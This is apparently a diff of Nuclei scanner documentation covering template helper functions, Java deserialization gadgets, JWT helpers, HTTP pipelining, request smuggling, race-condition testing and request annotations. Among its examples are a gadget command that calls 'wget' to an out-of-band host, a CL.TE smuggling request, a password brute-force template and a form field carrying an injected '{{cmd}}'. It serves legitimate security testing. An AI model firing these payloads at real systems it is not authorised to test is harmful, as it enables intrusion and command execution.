| line_starts_with(str string, prefix ...string) bool | Checks if any line of the string starts with any of the provided substrings | `line_starts_with("Hi\nHello", "He")` | `true` |
|
||||
| md5(input interface{}) string | Calculates the MD5 (Message Digest) hash of the input | `md5("Hello")` | `8b1a9953c4611296a827abf8c47804d7` |
|
||||
| mmh3(input interface{}) string | Calculates the MMH3 (MurmurHash3) hash of an input | `mmh3("Hello")` | `316307400` |
|
||||
| oct_to_dec(octalNumber number | string) float64 | Transforms the input octal number into a decimal format | `oct_to_dec("0o1234567")`\<br\>`oct_to_dec(1234567)` | `342391` |
|
||||
| print_debug(args ...interface{}) | Prints the value of a given input or expression. Used for debugging. | `print_debug(1+2, "Hello")` | `3 Hello` |
|
||||
| rand_base(length uint, optionalCharSet string) string | Generates a random sequence of given length string from an optional charset (defaults to letters and numbers) | `rand_base(5, "abc")` | `caccb` |
|
||||
| rand_char(optionalCharSet string) string | Generates a random character from an optional character set (defaults to letters and numbers) | `rand_char("abc")` | `a` |
|
||||
| rand_int(optionalMin, optionalMax uint) int | Generates a random integer between the given optional limits (defaults to 0 - MaxInt32) | `rand_int(1, 10)` | `6` |
|
||||
| rand_text_alpha(length uint, optionalBadChars string) string | Generates a random string of letters, of given length, excluding the optional cutset characters | `rand_text_alpha(10, "abc")` | `WKozhjJWlJ` |
|
||||
| rand_text_alphanumeric(length uint, optionalBadChars string) string | Generates a random alphanumeric string, of given length without the optional cutset characters | `rand_text_alphanumeric(10, "ab12")` | `NthI0IiY8r` |
|
||||
| rand_ip(cidr ...string) string | Generates a random IP address | `rand_ip("192.168.0.0/24")` | `192.168.0.171` |
|
||||
| rand_text_numeric(length uint, optionalBadNumbers string) string | Generates a random numeric string of given length without the optional set of undesired numbers | `rand_text_numeric(10, 123)` | `0654087985` |
|
||||
| regex(pattern, input string) bool | Tests the given regular expression against the input string | `regex("H([a-z]+)o", "Hello")` | `true` |
|
||||
| remove_bad_chars(input, cutset interface{}) string | Removes the desired characters from the input | `remove_bad_chars("abcd", "bc")` | `ad` |
|
||||
| repeat(str string, count uint) string | Repeats the input string the given amount of times | `repeat("../", 5)` | `../../../../../` |
|
||||
| replace(str, old, new string) string | Replaces a given substring in the given input | `replace("Hello", "He", "Ha")` | `Hallo` |
|
||||
| replace_regex(source, regex, replacement string) string | Replaces substrings matching the given regular expression in the input | `replace_regex("He123llo", "(\\d+)", "")` | `Hello` |
|
||||
| reverse(input string) string | Reverses the given input | `reverse("abc")` | `cba` |
|
||||
| sha1(input interface{}) string | Calculates the SHA1 (Secure Hash 1) hash of the input | `sha1("Hello")` | `f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0` |
|
||||
| sha256(input interface{}) string | Calculates the SHA256 (Secure Hash 256) hash of the input | `sha256("Hello")` | `185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969` |
|
||||
| starts_with(str string, prefix ...string) bool | Checks if the string starts with any of the provided substrings | `starts_with("Hello", "He")` | `true` |
|
||||
| to_lower(input string) string | Transforms the input into lowercase characters | `to_lower("HELLO")` | `hello` |
|
||||
| to_unix_time(input string, layout string) int | Parses a string date time using default or user given layouts, then returns its Unix timestamp | `to_unix_time("2022-01-13T16:30:10+00:00")`\<br\>`to_unix_time("2022-01-13 16:30:10")`\<br\>`to_unix_time("13-01-2022 16:30:10". "02-01-2006 15:04:05")` | `1642091410` |
|
||||
| to_upper(input string) string | Transforms the input into uppercase characters | `to_upper("hello")` | `HELLO` |
|
||||
| trim(input, cutset string) string | Returns a slice of the input with all leading and trailing Unicode code points contained in cutset removed | `trim("aaaHelloddd", "ad")` | `Hello` |
|
||||
| trim_left(input, cutset string) string | Returns a slice of the input with all leading Unicode code points contained in cutset removed | `trim_left("aaaHelloddd", "ad")` | `Helloddd` |
|
||||
| trim_prefix(input, prefix string) string | Returns the input without the provided leading prefix string | `trim_prefix("aaHelloaa", "aa")` | `Helloaa` |
|
||||
| trim_right(input, cutset string) string | Returns a string, with all trailing Unicode code points contained in cutset removed | `trim_right("aaaHelloddd", "ad")` | `aaaHello` |
|
||||
| trim_space(input string) string | Returns a string, with all leading and trailing white space removed, as defined by Unicode | `trim_space(" Hello ")` | `"Hello"` |
|
||||
| trim_suffix(input, suffix string) string | Returns input without the provided trailing suffix string | `trim_suffix("aaHelloaa", "aa")` | `aaHello` |
|
||||
| unix_time(optionalSeconds uint) float64 | Returns the current Unix time (number of seconds elapsed since January 1, 1970 UTC) with the added optional seconds | `unix_time(10)` | `1639568278` |
|
||||
| url_decode(input string) string | URL decodes the input string | `url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")` | `https://projectdiscovery.io?test=1` |
|
||||
| url_encode(input string) string | URL encodes the input string | `url_encode("https://projectdiscovery.io/test?a=1")` | `https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1` |
|
||||
| wait_for(seconds uint) | Pauses the execution for the given amount of seconds | `wait_for(10)` | `true` |
|
||||
| zlib(input string) string | Compresses the input using Zlib | `base64(zlib("Hello"))` | `eJzySM3JyQcEAAD//wWMAfU=` |
|
||||
| zlib_decode(input string) string | Decompresses the input using Zlib | `zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))` | `Hello` |
|
||||
|resolve(host string, format string) string |Resolves a host using a dns type that you define| `resolve("localhost",4)`| `127.0.0.1`|
|
||||
|ip_format(ip string, format string) string|It takes an input ip and converts it to another format according to this [legend](https://github.com/projectdiscovery/mapcidr/wiki/IP-Format-Index), the second parameter indicates the conversion index and must be between 1 and 11| `ip_format("127.0.0.1", 3)`| `0177.0.0.01`|
|
||||
|
||||
### Deserialization helper functions
|
||||
|
||||
Nuclei allows payload generation for a few common gadget from [ysoserial](https://github.com/frohoff/ysoserial).
|
||||
|
||||
**Supported Payload:**
|
||||
|
||||
- `dns` (URLDNS)
|
||||
- `commons-collections3.1`
|
||||
- `commons-collections4.0`
|
||||
- `jdk7u21`
|
||||
- `jdk8u20`
|
||||
- `groovy1`
|
||||
|
||||
**Supported encodings:**
|
||||
|
||||
- `base64` (default)
|
||||
- `gzip-base64`
|
||||
- `gzip`
|
||||
- `hex`
|
||||
- `raw`
|
||||
|
||||
**Deserialization helper function format:**
|
||||
|
||||
```yaml
|
||||
{{generate_java_gadget(payload, cmd, encoding}}
|
||||
```
|
||||
|
||||
**Deserialization helper function example:**
|
||||
|
||||
```yaml
|
||||
{{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
|
||||
```
|
||||
### JSON helper functions
|
||||
|
||||
Nuclei allows manipulate JSON strings in different ways, here is a list of its functions:
|
||||
|
||||
- `generate_jwt`, to generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm.
|
||||
- `json_minify`, to minifies a JSON string by removing unnecessary whitespace.
|
||||
- `json_prettify`, to prettifies a JSON string by adding indentation.
|
||||
|
||||
**Examples**
|
||||
|
||||
**`generate_jwt`**
|
||||
|
||||
To generate a JSON Web Token (JWT), you have to supply the JSON that you want to sign, _at least_.
|
||||
|
||||
Here is a list of supported algorithms for generating JWTs with `generate_jwt` function _(case-insensitive)_:
|
||||
|
||||
- `HS256`
|
||||
- `HS384`
|
||||
- `HS512`
|
||||
- `RS256`
|
||||
- `RS384`
|
||||
- `RS512`
|
||||
- `PS256`
|
||||
- `PS384`
|
||||
- `PS512`
|
||||
- `ES256`
|
||||
- `ES384`
|
||||
- `ES512`
|
||||
- `EdDSA`
|
||||
- `NONE`
|
||||
|
||||
Empty string ("") also means `NONE`.
|
||||
|
||||
Format:
|
||||
|
||||
```yaml
|
||||
{{generate_jwt(json, algorithm, signature, maxAgeUnix)}}
|
||||
```
|
||||
|
||||
> Arguments other than `json` are optional.
|
||||
|
||||
Example:
|
||||
```yaml
|
||||
variables:
|
||||
json: | # required
|
||||
{
|
||||
"foo": "bar",
|
||||
"name": "John Doe"
|
||||
}
|
||||
alg: "HS256" # optional
|
||||
sig: "this_is_secret" # optional
|
||||
age: '{{to_unix_time("2032-12-30T16:30:10+00:00")}}' # optional
|
||||
jwt: '{{generate_jwt(json, "{{alg}}", "{{sig}}", "{{age}}")}}'
|
||||
```
|
||||
|
||||
> The `maxAgeUnix` argument is to set the expiration `"exp"` JWT standard claim, as well as the `"iat"` claim when you call the function.
|
||||
|
||||
**`json_minify`**
|
||||
|
||||
Format:
|
||||
|
||||
```yaml
|
||||
{{json_minify(json)}}
|
||||
```
|
||||
|
||||
Example:
|
||||
|
||||
```yaml
|
||||
variables:
|
||||
json: |
|
||||
{
|
||||
"foo": "bar",
|
||||
"name": "John Doe"
|
||||
}
|
||||
minify: '{{json_minify(json}}'
|
||||
```
|
||||
|
||||
`minify` variable output:
|
||||
|
||||
```json
|
||||
{"foo":"bar","name":"John Doe"}
|
||||
```
|
||||
|
||||
**`json_prettify`**
|
||||
|
||||
Format:
|
||||
|
||||
```yaml
|
||||
{{json_prettify(json)}}
|
||||
```
|
||||
|
||||
Example:
|
||||
|
||||
```yaml
|
||||
variables:
|
||||
json: '{"foo":"bar","name":"John Doe"}'
|
||||
pretty: '{{json_prettify(json}}'
|
||||
```
|
||||
|
||||
`pretty` variable output:
|
||||
|
||||
```json
|
||||
{
|
||||
"foo": "bar",
|
||||
"name": "John Doe"
|
||||
}
|
||||
```
|
||||
|
||||
**`resolve`**
|
||||
|
||||
Format:
|
||||
|
||||
```yaml
|
||||
{{resolve(host,format)}}
|
||||
```
|
||||
|
||||
Here is a list of formats available for dns type:
|
||||
|
||||
- `4` or `a`
|
||||
- `6` or `aaaa`
|
||||
- `cname`
|
||||
- `ns`
|
||||
- `txt`
|
||||
- `srv`
|
||||
- `ptr`
|
||||
- `mx`
|
||||
- `soa`
|
||||
- `caa`
|
||||
|
||||
@@ -1,336 +0,0 @@
|
||||
---
|
||||
title: "Advance HTTP"
|
||||
---
|
||||
|
||||
We’ve enriched nuclei to allow advanced scanning of web servers. Users can now use multiple options to tune HTTP request workflows.
|
||||
|
||||
### Pipelining
|
||||
|
||||
HTTP Pipelining support has been added which allows multiple HTTP requests to be sent on the same connection inspired from [http-desync-attacks-request-smuggling-reborn](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn).
|
||||
|
||||
Before running HTTP pipelining based templates, make sure the running target supports HTTP Pipeline connection, otherwise nuclei engine fallbacks to standard HTTP request engine.
|
||||
|
||||
If you want to confirm the given domain or list of subdomains supports HTTP Pipelining, [httpx](https://github.com/projectdiscovery/) has a flag `-pipeline` to do so.
|
||||
|
||||
An example configuring showing pipelining attributes of nuclei.
|
||||
|
||||
```yaml
|
||||
unsafe: true
|
||||
pipeline: true
|
||||
pipeline-concurrent-connections: 40
|
||||
pipeline-requests-per-connection: 25000
|
||||
```
|
||||
|
||||
An example template demonstrating pipelining capabilities of nuclei has been provided below-
|
||||
|
||||
```yaml
|
||||
id: pipeline-testing
|
||||
info:
|
||||
name: pipeline testing
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
GET /{{path}} HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Referer: {{BaseURL}}
|
||||
|
||||
attack: batteringram
|
||||
payloads:
|
||||
path: path_wordlist.txt
|
||||
|
||||
unsafe: true
|
||||
pipeline: true
|
||||
pipeline-concurrent-connections: 40
|
||||
pipeline-requests-per-connection: 25000
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
part: header
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
|
||||
### Connection pooling
|
||||
|
||||
While the earlier versions of nuclei did not do connection pooling, users can now configure templates to either use HTTP connection pooling or not. This allows for faster scanning based on requirement.
|
||||
|
||||
To enable connection pooling in the template, `threads` attribute can be defined with respective number of threads you wanted to use in the payloads sections.
|
||||
|
||||
`Connection: Close` header can not be used in HTTP connection pooling template, otherwise engine will fail and fallback to standard HTTP requests with pooling.
|
||||
|
||||
An example template using HTTP connection pooling-
|
||||
|
||||
```yaml
|
||||
id: fuzzing-example
|
||||
info:
|
||||
name: Connection pooling example
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
|
||||
- raw:
|
||||
- |
|
||||
GET /protected HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Authorization: Basic {{base64('admin:§password§')}}
|
||||
|
||||
attack: batteringram
|
||||
payloads:
|
||||
password: password.txt
|
||||
threads: 40
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "Unique string"
|
||||
part: body
|
||||
```
|
||||
|
||||
### Smuggling
|
||||
|
||||
HTTP Smuggling is a class of Web-Attacks recently made popular by [Portswigger’s Research](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn) into the topic. For an in-depth overview, please visit the article linked above.
|
||||
|
||||
In the open source space, detecting http smuggling is difficult particularly due to the requests for detection being malformed by nature. Nuclei is able to reliably detect HTTP Smuggling vulnerabilities utilising the [rawhttp](https://github.com/projectdiscovery/rawhttp) engine.
|
||||
|
||||
The most basic example of an HTTP Smuggling vulnerability is CL.TE Smuggling. An example template to detect a CE.TL HTTP Smuggling vulnerability is provided below using the `unsafe: true` attribute for rawhttp based requests.
|
||||
|
||||
```yaml
|
||||
id: CL-TE-http-smuggling
|
||||
|
||||
info:
|
||||
name: HTTP request smuggling, basic CL.TE vulnerability
|
||||
author: pdteam
|
||||
severity: info
|
||||
reference: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
- |+
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
|
||||
unsafe: true
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- 'Unrecognized method GPOST'
|
||||
```
|
||||
|
||||
More examples are available in [template-example](/template-example/http/http-smuggling/) section for smuggling templates.
|
||||
|
||||
### Race conditions
|
||||
|
||||
Race Conditions are another class of bugs not easily automated via traditional tooling. Burp Suite introduced a Gate mechanism to Turbo Intruder where all the bytes for all the requests are sent expect the last one at once which is only sent together for all requests synchronizing the send event.
|
||||
|
||||
We have implemented **Gate** mechanism in nuclei engine and allow them run via templates which makes the testing for this specific bug class simple and portable.
|
||||
|
||||
To enable race condition check within template, `race` attribute can be set to `true` and `race_count` defines the number of simultaneous request you want to initiate.
|
||||
|
||||
Below is an example template where the same request is repeated for 10 times using the gate logic.
|
||||
|
||||
```yaml
|
||||
id: race-condition-testing
|
||||
|
||||
info:
|
||||
name: Race condition testing
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST /coupons HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
promo_code=20OFF
|
||||
|
||||
race: true
|
||||
race_count: 10
|
||||
|
||||
matchers:
|
||||
- type: status
|
||||
part: header
|
||||
status:
|
||||
- 200
|
||||
```
|
||||
|
||||
You can simply replace the `POST` request with any suspected vulnerable request and change the `race_count` as per your need, and it's ready to run.
|
||||
|
||||
```bash
|
||||
nuclei -t race.yaml -target https://api.target.com
|
||||
```
|
||||
|
||||
**Multi request race condition testing**
|
||||
|
||||
For the scenario when multiple requests needs to be sent in order to exploit the race condition, we can make use of threads.
|
||||
|
||||
```yaml
|
||||
threads: 5
|
||||
race: true
|
||||
```
|
||||
|
||||
`threads` is a total number of request you wanted make with the template to perform race condition testing.
|
||||
|
||||
|
||||
Below is an example template where multiple (5) unique request will be sent at the same time using the gate logic.
|
||||
|
||||
```yaml
|
||||
id: multi-request-race
|
||||
|
||||
info:
|
||||
name: Race condition testing with multiple requests
|
||||
author: pd-team
|
||||
severity: info
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=1
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=2
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=3
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=4
|
||||
|
||||
- |
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
|
||||
id=5
|
||||
|
||||
threads: 5
|
||||
race: true
|
||||
```
|
||||
|
||||
## Requests Annotation
|
||||
|
||||
Request inline annotations allow performing per request properties/behavior override. They are very similar to python/java class annotations and must be put on the request just before the RFC line. Currently, only the following overrides are supported:
|
||||
|
||||
- `@Host:` which overrides the real target of the request (usually the host/ip provided as input). It supports syntax with ip/domain, port, and scheme, for example: `domain.tld`, `domain.tld:port`, `http://domain.tld:port`
|
||||
- `@tls-sni:` which overrides the SNI Name of the TLS request (usually the hostname provided as input). It supports any literals. The special value `request.host` uses the `Host` header and `interactsh-url` uses an interactsh generated URL.
|
||||
- `@timeout:` which overrides the timeout for the request to a custom duration. It supports durations formatted as string. If no duration is specified, the default Timeout flag value is used.
|
||||
|
||||
The following example shows the annotations within a request:
|
||||
|
||||
```yaml
|
||||
- |
|
||||
@Host: https://projectdiscovery.io:443
|
||||
POST / HTTP/1.1
|
||||
Pragma: no-cache
|
||||
Host: {{Hostname}}
|
||||
Cache-Control: no-cache, no-transform
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
|
||||
```
|
||||
This is particularly useful, for example, in the case of templates with multiple requests, where one request after the initial one needs to be performed to a specific host (for example, to check an API validity):
|
||||
|
||||
```yaml
|
||||
http:
|
||||
- raw:
|
||||
# this request will be sent to {{Hostname}} to get the token
|
||||
- |
|
||||
GET /getkey HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
# This request will be sent instead to https://api.target.com:443 to verify the token validity
|
||||
- |
|
||||
@Host: https://api.target.com:443
|
||||
GET /api/key={{token}} HTTP/1.1
|
||||
Host: api.target.com:443
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: token
|
||||
part: body
|
||||
regex:
|
||||
# random extractor of strings between prefix and suffix
|
||||
- 'prefix(.*)suffix'
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- valid token
|
||||
```
|
||||
|
||||
Example of a custom `timeout` annotations -
|
||||
|
||||
```yaml
|
||||
- |
|
||||
@timeout: 25s
|
||||
POST /conf_mail.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M
|
||||
```
|
||||
|
||||
Example of `sni` annotation with `interactsh-url` -
|
||||
|
||||
```yaml
|
||||
- |
|
||||
@tls-sni: interactsh-url
|
||||
POST /conf_mail.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M
|
||||
```
|
||||